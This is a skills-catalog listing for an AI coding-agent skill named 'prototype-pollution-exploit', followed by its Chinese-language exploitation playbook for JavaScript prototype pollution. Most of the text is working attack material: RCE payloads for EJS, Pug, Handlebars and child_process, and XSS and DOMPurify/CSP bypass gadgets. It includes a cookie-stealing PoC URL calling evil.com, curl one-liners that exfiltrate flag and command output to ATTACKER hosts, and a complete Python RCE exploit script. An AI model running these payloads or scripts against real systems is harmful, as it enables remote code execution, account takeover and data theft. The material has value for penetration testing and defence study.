
Prototype Pollution Exploit
- 12 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
prototype-pollution-exploit is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- prototype-pollution-exploit
- AI & Agent Building
- AI-coding skill
Prototype Pollution Exploit by the numbers
- 12 all-time installs (skills.sh)
- Ranked #11,592 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill prototype-pollution-exploitAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 12 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
JavaScript 原型链污染漏洞利用
核心原理:通过修改 Object.prototype,向所有 JavaScript 对象注入恶意属性⛔ 深入参考
- 服务端 RCE 利用链(child_process/EJS/Pug/Handlebars)→ references/server-side-rce.md
- 客户端 Gadgets(jQuery/Mithril/Vue/DOMPurify 绕过)→ references/client-side-gadgets.md
---
Phase 1: 识别原型链污染点
1.1 常见触发模式
存在漏洞的代码模式:
├─ 递归合并/深拷贝: merge(target, userInput)
├─ 路径赋值: obj[a][b] = value(a/b 来自用户)
├─ lodash: _.merge / _.defaultsDeep / _.set(旧版本)
├─ jQuery: $.extend(true, {}, userInput)
└─ 自定义 deepCopy/assign 函数1.2 测试 Payload
// 方式 1: __proto__ 直接注入
{"__proto__": {"polluted": "yes"}}
// 方式 2: constructor.prototype
{"constructor": {"prototype": {"polluted": "yes"}}}
// 方式 3: 嵌套路径注入(URL 参数场景)
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
// 方式 4: JSON 数组绕过(某些 parser 处理差异)
[{"__proto__": {"polluted": "yes"}}]1.3 检测是否成功
// 服务端验证(如能执行代码)
console.log({}.polluted); // 输出 "yes" = 污染成功
// 黑盒验证:观察应用行为变化
// 例如:污染 admin=true → 获取管理员权限Phase 2: Server-side 利用(RCE 优先)
2.1 决策树
目标环境?
├─ Node.js + child_process 可触发
│ └─ 污染 shell/env/NODE_OPTIONS → RCE
├─ Node.js + 模板引擎(EJS/Pug/Handlebars)
│ └─ 污染模板编译选项 → RCE
├─ Node.js + 认证逻辑
│ └─ 污染 isAdmin/role → 权限绕过
└─ 无直接 RCE 路径
└─ 污染配置项(DEBUG/verbose)→ 信息泄露2.2 RCE via child_process
// 污染 child_process.spawn 的默认选项
{"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/environ"
}}
// 或通过 env 注入
{"__proto__": {
"env": {
"NODE_OPTIONS": "--require=./malicious.js"
},
"shell": "/bin/bash"
}}2.3 RCE via EJS 模板引擎
// EJS 编译时会检查 opts.outputFunctionName
// 如果被污染,注入的代码会在模板编译时执行
{"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
}}
// EJS 3.x 另一向量
{"__proto__": {
"client": true,
"escapeFunction": "1;return process.mainModule.require('child_process').execSync('id');"
}}2.4 RCE via Pug/Jade
// Pug 模板引擎
{"__proto__": {
"block": {
"type": "Text",
"val": "x]);process.mainModule.require('child_process').execSync('id');//"
}
}}2.5 RCE via Handlebars
// Handlebars 4.x
{"__proto__": {
"main": "\n return process.mainModule.require('child_process').execSync('id').toString();\n"
}}2.6 权限绕过
// 应用检查 user.isAdmin 或 user.role
// 如果未显式设置,会继承 prototype 的值
{"__proto__": {"isAdmin": true}}
{"__proto__": {"role": "admin"}}
{"__proto__": {"verified": true}}
// JWT 验证绕过(某些实现)
{"__proto__": {"algorithm": "none"}}Phase 3: Client-side 利用
3.1 XSS via DOM 属性污染
// 污染 innerHTML 相关属性
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// 通过 URL 参数污染(某些 SPA 框架解析 query string)
?__proto__[src]=data:,alert(1)
?__proto__[onload]=alert(1)3.2 绕过 DOMPurify/Sanitizer
// 某些版本的 DOMPurify 可通过原型链污染绕过
{"__proto__": {"ALLOWED_TAGS": ["img", "script"]}}
{"__proto__": {"ADD_ATTR": ["onerror", "onload"]}}
// 或禁用清理
{"__proto__": {"RETURN_DOM": true}}3.3 jQuery Gadget
// jQuery < 3.4.0 的 $.extend 存在原型链污染
// 配合 HTML 属性注入
{"__proto__": {"class": "xss-class", "onclick": "alert(1)"}}Phase 4: 常见框架漏洞版本
| 库 | 漏洞版本 | CVE |
|---|---|---|
| lodash merge | < 4.17.12 | CVE-2019-10744 |
| lodash defaultsDeep | < 4.17.12 | CVE-2019-10744 |
| jQuery extend | < 3.4.0 | CVE-2019-11358 |
| minimist | < 1.2.6 | CVE-2021-44906 |
| class-transformer | < 0.3.1 | — |
| Hoek (hapi) | < 5.0.3 | CVE-2018-3728 |
| Handlebars | < 4.6.0 | CVE-2019-19919 |
| EJS | < 3.1.7 | CVE-2022-29078 |
Phase 5: 自动化发现
# 静态扫描(源代码审计)
grep -rn "merge\|assign\|extend\|deepCopy" --include="*.js" .
grep -rn "\[.*\]\[.*\].*=" --include="*.js" . # 动态路径赋值
# 依赖版本检查
npm audit
npm ls lodash # 检查 lodash 版本
# 动态测试
# 在所有 JSON 输入点注入 __proto__ payload
# 观察响应变化或新属性出现⛔ 注意事项
- Node.js 的
--disable-proto=throw选项会阻止__proto__访问 Object.create(null)创建的对象无原型 → 不可污染- ES2022
Object.hasOwn()不受原型影响 - 某些 WAF 会过滤
__proto__→ 用constructor.prototype绕过
关联技能
- XSS 方法论 →
/skill:xss-methodology - SQL 注入方法论 →
/skill:sql-injection-methodology - SSTI 方法论 →
/skill:ssti-methodology - Node.js 安全 → 相关 exploit skill
客户端原型链污染 Gadgets
客户端原型链污染通过 DOM 操控实现 XSS,利用 JavaScript 框架/库中的 gadget 触发恶意行为
---
一、DOM XSS via Prototype Pollution
1.1 innerHTML Gadgets
原理: 污染导致 DOM 元素的 innerHTML 被设置为攻击者控制的值
常见触发路径:
├─ element.innerHTML = obj[userControlled]
│ 如果 userControlled 键不存在 → 查找原型链 → 命中污染值
├─ template rendering 读取不存在的属性
│ 模板引擎在客户端渲染时访问 undefined 属性 → 继承污染值
└─ 配置对象的默认值
var config = {}; config.template = config.template || defaultTemplate;
如果污染了 template 属性 → config.template = 恶意 HTML// 污染 payload(通过 URL hash/query)
?__proto__[innerHTML]=<img/src=x onerror=alert(document.cookie)>
// 或通过 JSON API
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// 触发条件: 代码中存在类似
element.innerHTML = options.content // options.content 未定义 → 继承原型1.2 jQuery Gadgets
// jQuery.extend (< 3.4.0) — 自身就是污染源
$.extend(true, {}, JSON.parse('{"__proto__":{"xss":"<img src=x onerror=alert(1)>"}}'))
// jQuery html() gadget
// 某些 jQuery 插件读取配置:
$.fn.myPlugin = function(options) {
var defaults = {template: '<div></div>'};
var settings = $.extend(true, {}, defaults, options);
this.html(settings.content); // content 未在 defaults 中定义
};
// 污染 __proto__.content → XSS
// jQuery attr() gadget
// 代码: $(el).attr(config)
// 污染: __proto__[onclick]=alert(1)
// 效果: 元素被添加 onclick 属性
// jQuery $(selector, context) gadget
// 某些版本中如果 selector 包含 HTML → 直接创建 DOM
// 污染影响 selector 来源 → 注入 HTML1.3 Lodash/Underscore Merge Gadgets
// Lodash _.merge 同时是污染源和触发器
// < 4.17.12 存在原型链污染
_.merge({}, JSON.parse('{"__proto__":{"polluted": true}}'))
// Lodash _.template gadget
// _.template 编译时读取 options
// 污染 options.imports.constructor → 代码注入
_.template('hello')
// 如果 __proto__.imports 被污染 → 模板编译代码被操控
// Lodash _.defaults gadget
// _.defaults(obj, source) 只设置 undefined 属性
// 如果 source 来自原型链 → 所有 undefined 属性被设置---
二、Script Gadget 发现方法
2.1 自动化 DOM Property 监控
// 在 Chrome DevTools Console 中执行:
// 监控 Object.prototype 上属性的读取
(function() {
const handler = {
get(target, prop) {
if (prop in target) return target[prop];
console.trace(`[PP] Property accessed: ${String(prop)}`);
return undefined;
}
};
// 保存原始原型
const origProto = Object.getPrototypeOf({});
// 创建 Proxy
const proxyProto = new Proxy(origProto, handler);
// 替换所有新对象的原型(有风险,仅调试用)
// 注意: 这在生产环境中不安全
console.log('[*] Prototype access monitoring active');
console.log('[*] Watch console for property access traces');
})();
// 或使用 defineProperty 方式(更精准):
function monitorProperty(prop) {
let value;
Object.defineProperty(Object.prototype, prop, {
configurable: true,
get() {
console.trace(`[PP-GET] ${prop}`);
return value;
},
set(v) {
console.trace(`[PP-SET] ${prop} = ${v}`);
value = v;
}
});
}
// 监控常见 gadget 属性
['innerHTML', 'outerHTML', 'textContent', 'src', 'href',
'action', 'data', 'srcdoc', 'onclick', 'onerror', 'onload',
'template', 'url', 'source', 'content', 'html'].forEach(monitorProperty);2.2 Chrome DevTools + Breakpoints
手动 Gadget 发现流程:
1. 开启 DevTools → Sources → 搜索 prototype/merge/extend/assign
2. 找到污染入口后,在 Object.prototype 上设置 getter 断点
3. 触发应用功能 → 观察哪些代码读取了原型上的属性
4. 追踪调用栈 → 找到最终的 DOM 操作(innerHTML/src/href 等)
具体步骤:
├─ Step 1: 在 Console 中污染一个标记属性
│ Object.prototype.pptest = 'POLLUTED_MARKER'
│
├─ Step 2: 刷新页面或触发目标功能
│
├─ Step 3: 在 Elements 面板搜索 "POLLUTED_MARKER"
│ 如果在 DOM 中找到 → 存在可利用的 gadget
│
├─ Step 4: 在 Console 搜索
│ document.querySelectorAll('[pptest]') → 属性注入
│ document.body.innerHTML.includes('POLLUTED_MARKER') → HTML 注入
│
└─ Step 5: 升级为 XSS payload
Object.prototype.pptest = '<img src=x onerror=alert(1)>'2.3 PPScan Tool
# PPScan — 自动化客户端原型链污染扫描
# https://github.com/nicedayzhu/PPScan
# 安装
git clone https://github.com/nicedayzhu/PPScan.git
cd PPScan
npm install
# 扫描单个 URL
node ppscan.js -u https://target.com
# 扫描多个 URL
node ppscan.js -l urls.txt
# 原理:
# 1. 使用 Puppeteer 打开页面
# 2. 在页面加载前注入 Object.prototype 监控
# 3. 检测哪些属性被读取
# 4. 尝试 innerHTML/src/href 等 XSS 向量
# 5. 检查 DOM 中是否出现注入内容---
三、常见框架 Gadgets
3.1 Vue.js
// Vue 2.x template injection via prototype pollution
// 如果 Vue 组件使用 v-html 或不安全的模板
// 污染 template 属性
Object.prototype.template = '<div v-html="constructor.constructor(\'alert(1)\')()"></div>'
// 或污染 data 属性
Object.prototype.data = function() {
return { xss: '<img src=x onerror=alert(1)>' }
}
// Vue 3.x — compilerOptions gadget
// 如果应用使用运行时编译器
Object.prototype.compilerOptions = {
isCustomElement: function(tag) {
// 注入代码
new Function('alert(document.domain)')();
return false;
}
}
// v-bind gadget
// 如果组件使用 v-bind="$attrs" 传递所有属性
// 污染: __proto__[onmouseover]=alert(1)
// 效果: 所有使用 $attrs 的元素获得 onmouseover 属性3.2 React
// React 的 dangerouslySetInnerHTML gadget
// 如果组件使用:
// <div dangerouslySetInnerHTML={{__html: props.content}} />
// 且 props.content 来自可被污染的对象
// 污染:
Object.prototype.content = '<img src=x onerror=alert(1)>'
// React props 传播 gadget
// <Component {...config} />
// 如果 config 对象的属性来自原型链
// 污染: __proto__[dangerouslySetInnerHTML]={__html:'<img src=x onerror=alert(1)>'}
// Next.js / Gatsby SSR gadget
// 服务端渲染时原型链污染影响生成的 HTML
// 比纯客户端更危险 → 影响所有用户
// React 通常较安全:
// ├─ JSX 默认转义 → 不容易 XSS
// ├─ dangerouslySetInnerHTML 需显式使用
// └─ 但如果使用了不安全的 props 传播 → 可能被利用3.3 Angular
// Angular bypassSecurityTrust* gadget
// Angular 有内置 XSS 保护,需要显式绕过
// 如果代码使用:
// this.sanitizer.bypassSecurityTrustHtml(userInput)
// 且 userInput 可通过原型链污染控制 → XSS
// Angular [innerHTML] binding gadget
// <div [innerHTML]="config.content"></div>
// Angular 的 innerHTML 绑定会进行消毒
// 但如果使用 bypassSecurityTrustHtml 包装 → 不消毒
// Angular 模板 gadget
// 如果组件动态编译模板:
// this.compiler.compileModuleAndAllComponentsAsync(...)
// 污染模板内容 → 注入 Angular 模板表达式
// {{constructor.constructor('alert(1)')()}}
// Angular DomSanitizer bypass
Object.prototype.changingThisBreaksApplicationSecurity = '<img src=x onerror=alert(1)>'
// 某些版本中 SafeValue 的内部属性名3.4 Ember.js
// Ember.js Handlebars gadget
// Ember 使用 Handlebars 模板引擎
// 污染 Handlebars 编译选项
// __proto__[helpers][evil] = function() { ... }
// 在模板中使用 {{evil}} 时触发
// Ember Data gadget
// Model 属性从 JSON 响应中合并
// 如果 JSON 包含 __proto__ → 污染 Model 基类
// 所有 Model 实例继承恶意属性
// Ember Component gadget
// 组件属性查找链: 实例 → 类 → 原型
// 污染原型 → 影响所有组件实例的默认行为---
四、CSP Bypass via Prototype Pollution
原型链污染可帮助绕过 Content Security Policy:
方式 1: 污染 script-src 允许的域
├─ 某些 CSP 实现从 JavaScript 对象中读取策略
├─ 如果 CSP nonce 存储在可被污染的对象中
│ → 污染获取 nonce → 注入带 nonce 的 script
└─ 不常见但在自定义 CSP 中间件中可能存在
方式 2: 利用已允许域的 JSONP/库
├─ CSP 允许 cdn.example.com
├─ 污染让页面加载 cdn.example.com/jsonp?callback=alert
├─ 或加载 cdn.example.com/angular.js → Angular 沙箱逃逸
└─ 原型链污染改变 script.src → 加载恶意脚本
方式 3: base-uri 操控
├─ 污染影响 <base> 标签的 href
├─ 所有相对 URL 路径变为攻击者控制的域
├─ 即使 CSP 限制了 script-src → 相对路径脚本从攻击者服务器加载
└─ 需要 CSP 未设置 base-uri 指令
方式 4: srcdoc/sandbox 绕过
├─ 污染 iframe 的 srcdoc 属性
├─ iframe 内的内容不受父页面 CSP 限制(某些情况)
└─ 在 srcdoc 中注入 <script>alert(1)</script>---
五、从 XSS 到 ATO 的利用链
完整利用链:
Step 1: 发现污染入口
├─ URL 参数: ?__proto__[x]=y
├─ JSON API: {"__proto__":{"x":"y"}}
├─ Hash: #__proto__[x]=y
└─ postMessage: window.postMessage({__proto__:{x:'y'}})
Step 2: 找到 Gadget
├─ 手动: 污染标记属性 → 搜索 DOM
├─ 自动: PPScan / ppmap
└─ 框架特定: 查看已知 gadget 列表
Step 3: 触发 XSS
├─ 构造 payload URL: https://target.com/?__proto__[innerHTML]=<img...>
├─ 或构造 POST 请求到 JSON API
└─ 验证 alert() 弹出
Step 4: 窃取凭据
├─ document.cookie → 窃取 session cookie(如果无 HttpOnly)
├─ fetch('/api/profile') → 窃取个人信息
├─ 注入 keylogger → 捕获密码输入
└─ 修改密码/邮箱 → 接管账户
Step 5: 持久化
├─ 如果污染被存储(存储型 XSS 变体)
│ → 其他用户访问时自动触发
├─ 否则需要诱导受害者点击链接(反射型)
└─ 配合 Service Worker 注册 → 持久化控制浏览器
完整 PoC URL 示例:
https://target.com/page?__proto__[innerHTML]=<img+src%3dx+onerror%3d"fetch('https://evil.com/steal?c='+document.cookie)">---
六、工具速查
| 工具 | 功能 | 链接 |
|---|---|---|
| ppmap | 自动化客户端 PP + gadget 发现 | https://github.com/nicedayzhu/ppmap |
| PPScan | Puppeteer 自动化 PP 扫描 | https://github.com/nicedayzhu/PPScan |
| client-side-prototype-pollution | Burp 扩展 | PortSwigger BApp Store |
| DOM Invader | Burp 内置浏览器 PP 测试 | Burp Suite Professional |
| pp-finder | Chrome 扩展,监控原型访问 | GitHub |
ppmap 使用
# 安装
git clone https://github.com/nicedayzhu/ppmap.git
cd ppmap
npm install
# 扫描
echo "https://target.com" | node ppmap.js
# 批量扫描
cat urls.txt | node ppmap.jsDOM Invader (Burp Suite)
在 Burp 内置浏览器中:
1. 打开 DevTools → DOM Invader 面板
2. 启用 "Prototype pollution" 选项
3. 浏览目标页面
4. DOM Invader 自动检测:
├─ 污染入口(URL params, hash, postMessage)
├─ 受影响的 sink(innerHTML, src, href 等)
└─ 可利用的 gadget 链
5. 点击 "Exploit" 自动生成 PoC---
七、防御检测与绕过
常见防御及绕过:
├─ Object.freeze(Object.prototype)
│ → 完全阻止污染
│ → 无法绕过
│
├─ 检查 __proto__ 键名并过滤
│ → 用 constructor.prototype 绕过
│ → {"constructor":{"prototype":{"xss":"payload"}}}
│
├─ 使用 Object.create(null) 创建无原型对象
│ → 该对象安全,但其他对象仍可被污染
│ → 如果应用只在部分位置使用 → 其他位置仍可利用
│
├─ 使用 Map 代替 plain object
│ → Map 不受原型链污染影响
│ → 但如果结果被转换为 plain object → 仍有风险
│
└─ JSON.parse 的 reviver 参数过滤
JSON.parse(input, (key, value) => {
if (key === '__proto__') return undefined;
return value;
})
→ 用 constructor.prototype 绕过---
参考链接
服务端原型链污染到 RCE 利用链
通过污染 Object.prototype 上的属性,影响 Node.js 模板引擎或子进程调用的行为,最终实现远程代码执行。
---
1. EJS 模板引擎 RCE
EJS 是 Node.js 生态最常见的模板引擎之一。多个属性可被污染实现 RCE。
1.1 outputFunctionName(最经典)
EJS 编译模板时将 opts.outputFunctionName 拼接到生成的函数代码中,无任何过滤。
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id > /tmp/pwned');x"
}
}# 完整 HTTP 请求
curl -X POST http://target/api/update \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\"child_process\").execSync(\"curl http://ATTACKER/$(cat /flag|base64)\");x"}}'
# 然后访问任意触发 res.render() 的页面
curl http://target/原理: EJS 编译时生成的代码类似:
var __output = "";
function x;process.mainModule.require('child_process').execSync('id');x() { /* ... */ }1.2 client + escapeFunction 组合
当 client 为 true 时,EJS 使用 opts.escapeFunction 的字符串值作为函数名嵌入编译代码。
{
"__proto__": {
"client": true,
"escapeFunction": "1;process.mainModule.require('child_process').execSync('id');var x="
}
}1.3 destructuredLocals
EJS >= 3.1.7 引入了 destructuredLocals 选项。污染后可在模板编译的解构赋值中注入代码。
{
"__proto__": {
"destructuredLocals": ["a=1;process.mainModule.require('child_process').execSync('id')//"]
}
}版本兼容性:
| 属性 | EJS 版本 | 修复状态 |
|---|---|---|
| outputFunctionName | < 3.1.7 | 3.1.7 中修复 |
| client+escapeFunction | < 3.1.7 | 3.1.7 中修复 |
| destructuredLocals | >= 3.1.7 | 3.1.10 中修复 |
---
2. Pug/Jade 模板引擎 RCE
2.1 block.type = 'Text' 注入
Pug 编译 AST 时,如果节点的 block.type 为 Text,会将 block.val 直接拼接到生成代码中。
{
"__proto__": {
"block": {
"type": "Text",
"val": "process.mainModule.require('child_process').execSync('id')"
}
}
}2.2 self 属性(配合 debug 选项)
{
"__proto__": {
"self": true,
"line": "1;process.mainModule.require('child_process').execSync('cat /flag > /app/public/pwned.txt')"
}
}2.3 compileDebug + filename
{
"__proto__": {
"compileDebug": true,
"filename": "x\";process.mainModule.require('child_process').execSync('id');\""
}
}---
3. Handlebars 模板引擎 RCE
Handlebars 的利用需要覆盖编译后模板的 main 函数或 helpers。
3.1 main 函数覆盖
{
"constructor": {
"prototype": {
"main": "{{#with \"process.mainModule.require('child_process').execSync('id')\"}}{{this}}{{/with}}"
}
}
}3.2 通过 template 选项注入(需 allowProtoPropertiesByDefault)
// 攻击 payload — 污染 Handlebars 内部模板编译
const payload = {
"__proto__": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()"
},
"params": [],
"hash": undefined
}]
}
};3.3 已知 CVE
- CVE-2019-19919:
Handlebars< 4.6.0,通过__proto__覆盖 template helpers - CVE-2021-23383:
Handlebars< 4.7.7,lookuphelper 导致 RCE
---
4. child_process.spawn/exec RCE
不依赖模板引擎,直接通过污染 child_process 的选项实现 RCE。适用于目标代码中调用了 spawn、exec、fork 等函数的情况。
4.1 shell 选项注入
spawn 默认不使用 shell。污染 shell 属性后,命令参数会经过 shell 解释。
{
"__proto__": {
"shell": "/bin/bash",
"env": {
"BASH_FUNC_node%%": "() { cat /flag > /tmp/pwned; }",
"PATH": "/tmp:/usr/bin:/bin"
}
}
}4.2 NODE_OPTIONS 环境变量注入
{
"__proto__": {
"env": {
"NODE_OPTIONS": "--require /proc/self/environ",
"NODE_DEBUG": "require('child_process').execSync('id')"
}
}
}4.3 argv0 / execPath 覆盖
当代码调用 child_process.fork() 时:
{
"__proto__": {
"execPath": "/bin/bash",
"execArgv": ["-c", "cat /flag > /app/public/flag.txt"]
}
}4.4 实际触发场景
// 目标代码中任何调用子进程的地方都可能受影响
const { execSync } = require('child_process');
// 即使调用看似安全的命令
execSync('npm --version'); // 污染 shell/env 后变为恶意执行
// 或 spawn
const { spawn } = require('child_process');
spawn('node', ['worker.js']); // 污染 execPath 后执行 /bin/bash---
5. Express/Koa 中间件污染
5.1 Express view engine 自动加载
Express 在 res.render() 时根据 app.set('view engine', ...) 的值加载模板引擎。如果未显式设置,会从 req.app.settings 中查找。
{
"__proto__": {
"view engine": "ejs",
"views": "/tmp"
}
}配合在 /tmp 目录写入恶意模板文件即可触发 RCE。
5.2 trust proxy 污染
{
"__proto__": {
"trust proxy": true
}
}污染后 Express 信任 X-Forwarded-For 头,可用于 IP 白名单绕过。
5.3 Express status 参数注入
{
"__proto__": {
"status": 500
}
}可使目标应用返回异常状态码,触发错误处理路径中的额外逻辑。
---
6. 真实 CVE 案例
CVE-2022-24999 — qs 原型链污染
# qs < 6.10.3 允许通过查询字符串污染原型
curl 'http://target/api?__proto__[outputFunctionName]=x;process.mainModule.require("child_process").execSync("id");x'CVE-2021-25928 — Prototype Pollution in safe-obj
// safe-obj < 1.0.4
const safeObj = require('safe-obj');
safeObj.expand({}, '__proto__.polluted', 'yes');
console.log(({}).polluted); // 'yes'CVE-2020-28477 — Prototype Pollution in immer
// immer < 8.0.1
const { produce } = require('immer');
produce({}, draft => {
draft.__proto__.polluted = true;
});CVE-2019-10744 — lodash
# lodash < 4.17.12
curl -X POST http://target/api/merge \
-H 'Content-Type: application/json' \
-d '{"constructor":{"prototype":{"outputFunctionName":"x;require(\"child_process\").execSync(\"id\");x"}}}'---
7. 模板引擎识别方法
在利用原型链污染实现 RCE 前,需要先确认目标使用的模板引擎。
自动探测
# 检查 package.json 依赖(如果有信息泄露)
curl http://target/package.json 2>/dev/null | jq '.dependencies' | grep -E 'ejs|pug|jade|handlebars|nunjucks|mustache|hbs|dot'
# 通过错误信息识别
curl http://target/{{7*7}}
# EJS: 可能返回 49 或模板错误
# Pug: "unexpected token" 相关
# Handlebars: "Parse error"
# 通过响应头识别
curl -I http://target/ | grep -i 'x-powered-by'
# Express 默认启用此头,说明是 Node.js 后端逐个尝试 payload
# EJS 检测 — 污染 outputFunctionName 后看是否 500 错误
curl -X POST http://target/api \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"outputFunctionName":"DETECT_EJS"}}'
# 然后访问页面:如果返回 500 + "DETECT_EJS is not a function" → 确认 EJS
# Pug 检测
curl -X POST http://target/api \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"doctype":"DETECT_PUG"}}'
# Handlebars 检测
curl -X POST http://target/api \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"preventIndent":true}}'---
8. 完整利用脚本
Python 自动化利用(EJS outputFunctionName)
import requests
import sys
import time
class ProtoPolluteRCE:
def __init__(self, target, merge_endpoint):
self.target = target.rstrip('/')
self.merge_url = f'{self.target}{merge_endpoint}'
self.session = requests.Session()
def detect_engine(self):
"""尝试识别模板引擎"""
tests = {
'ejs': {"__proto__": {"outputFunctionName": "DETECT_EJS_12345"}},
'pug': {"__proto__": {"doctype": "DETECT_PUG_12345"}},
'handlebars': {"__proto__": {"preventIndent": True}},
}
for engine, payload in tests.items():
try:
self.session.post(self.merge_url, json=payload)
resp = self.session.get(self.target + '/')
if resp.status_code == 500 and engine.upper() in resp.text.upper():
return engine
except Exception:
continue
return None
def exploit_ejs(self, command):
"""EJS outputFunctionName RCE"""
payload = {
"__proto__": {
"outputFunctionName": f'x;process.mainModule.require("child_process").execSync("{command}");x'
}
}
print(f'[*] 发送污染 payload: outputFunctionName')
r = self.session.post(self.merge_url, json=payload)
print(f'[*] 污染响应: {r.status_code}')
print(f'[*] 触发模板渲染...')
r = self.session.get(self.target + '/')
return r
def exploit_ejs_v2(self, command):
"""EJS destructuredLocals RCE (>= 3.1.7)"""
payload = {
"__proto__": {
"destructuredLocals": [
f'a=1;process.mainModule.require("child_process").execSync("{command}")//'
]
}
}
print(f'[*] 发送污染 payload: destructuredLocals')
r = self.session.post(self.merge_url, json=payload)
print(f'[*] 污染响应: {r.status_code}')
r = self.session.get(self.target + '/')
return r
def exploit_pug(self, command):
"""Pug block.type RCE"""
payload = {
"__proto__": {
"block": {
"type": "Text",
"val": f'process.mainModule.require("child_process").execSync("{command}")'
}
}
}
print(f'[*] 发送污染 payload: block.type=Text')
r = self.session.post(self.merge_url, json=payload)
r = self.session.get(self.target + '/')
return r
def exploit_child_process(self, command):
"""通过 env + shell 污染实现 RCE"""
payload = {
"__proto__": {
"shell": "/bin/bash",
"env": {
"EVIL": f"$({{command}})"
}
}
}
r = self.session.post(self.merge_url, json=payload)
return r
def exfil_via_oob(self, command, callback_host):
"""带外数据外传 — 命令结果通过 DNS/HTTP 回传"""
oob_cmd = f'curl {callback_host}/$(cat /flag|base64|tr -d "\\n")'
return self.exploit_ejs(oob_cmd)
def main():
if len(sys.argv) < 4:
print(f'用法: python {sys.argv[0]} <target_url> <merge_endpoint> <command>')
print(f'示例: python {sys.argv[0]} http://target:3000 /api/merge "cat /flag"')
sys.exit(1)
target = sys.argv[1]
endpoint = sys.argv[2]
command = sys.argv[3]
exploiter = ProtoPolluteRCE(target, endpoint)
# 第一步: 识别引擎
print('[*] 探测模板引擎...')
engine = exploiter.detect_engine()
if engine:
print(f'[+] 检测到模板引擎: {engine}')
else:
print('[!] 无法自动识别引擎,默认尝试 EJS')
engine = 'ejs'
# 第二步: 利用
if engine == 'ejs':
resp = exploiter.exploit_ejs(command)
elif engine == 'pug':
resp = exploiter.exploit_pug(command)
else:
resp = exploiter.exploit_ejs(command)
print(f'[*] 触发响应: {resp.status_code}')
print(f'[*] 响应内容: {resp.text[:500]}')
if __name__ == '__main__':
main()快速验证 PoC(一行命令)
# EJS RCE — outputFunctionName
curl -s -X POST http://target/api/merge -H 'Content-Type: application/json' \
-d '{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\"child_process\").execSync(\"curl http://ATTACKER:8888/$(id|base64)\");x"}}' \
&& curl -s http://target/
# Pug RCE — block.type
curl -s -X POST http://target/api/merge -H 'Content-Type: application/json' \
-d '{"__proto__":{"block":{"type":"Text","val":"process.mainModule.require(\"child_process\").execSync(\"curl http://ATTACKER:8888/$(id|base64)\")"}}}' \
&& curl -s http://target/---